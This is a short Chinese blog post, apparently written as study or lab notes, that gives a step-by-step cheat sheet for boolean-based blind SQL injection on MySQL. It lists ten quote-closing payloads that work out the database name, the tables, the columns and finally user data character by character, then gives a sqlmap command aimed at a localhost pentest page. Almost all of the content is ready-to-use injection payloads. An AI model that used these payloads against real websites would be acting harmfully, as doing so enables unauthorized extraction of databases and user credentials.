布尔型盲注

加 ‘ 将原本的sql语句闭合之后,再把后面的 ’ 用–+ 、–空格 、 #注释掉,在中间输入我们将要执行的语句

1.确定数据库长度:

’ and length(database()) >0# // 0一直换着试直到报错,然后换成=,报错的那个数字就是数据库长度

2.确定数据库名称:
’ and ascii(substr(database(),1,1))>100# // (1,1)第一个1换着成2就是查询数据库第二个字段(直到数据库长度的数字为止),100换着试直到报错,然后去对照ascii表看对应的字母是什么,组成数据库名字

3.确定表的数量:
’and (select count(table_name) from information_schema.tables where table_schema=’数据库名字’) >0# //0可以换着试,同理

4.确定表的长度:
’and length((select table_name from information_schema.tables where table_schema=’ 数据库名字’ limit 0,1))>0# //limit 0,1 查询第一个表的,>0换着试,同理

5.确定表名:
’ and (ascii(substr((select table_name from information_schema.tables where table_schema=‘数据库名’ limit 0,1),1,1)))>100# //查询第一个表的第一个字段的ascii码,接下来同理获取到完整的表名

6.确定表中字段的数量:
’and (select count(column_name) from information_schema.columns where table_schema=’数据库名’ and table_name =’表名’)>0# //确定此表中一共多少个字段

7.确定字段的长度:
’ and length((select column_name from information_schema.columns where table_schema=‘数据库名’ and table_name = ‘表名’ limit 0,1)) >6# //获取第一个表的长度,>6换着试直到报错,确定长度

8.确定字段名:
’and ascii(substr((select column_name from information_schema.columns where table_schema=’数据库名字’ and table_name =’表名’ limit 0,1),1,1)) > 79# // 查询第一个表的第一个字段的ascii码,然后同理获取完整字段名

9.确定字段数据的长度:
'and length((select username from member limit 0,1))>5 --+

10.确定字段中的数据:
’ and ascii(substr((select username from 表名 limit 0,1),1,1))>79# //查询第一个username的第一个字段的asc ii码,然后同理获取完整的数据

sqlmap
sqlmap.py -u “http://localhost/pentest/article.php?id=1” --batch --dbms=mysql --technique B --level=3 --risk=3

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值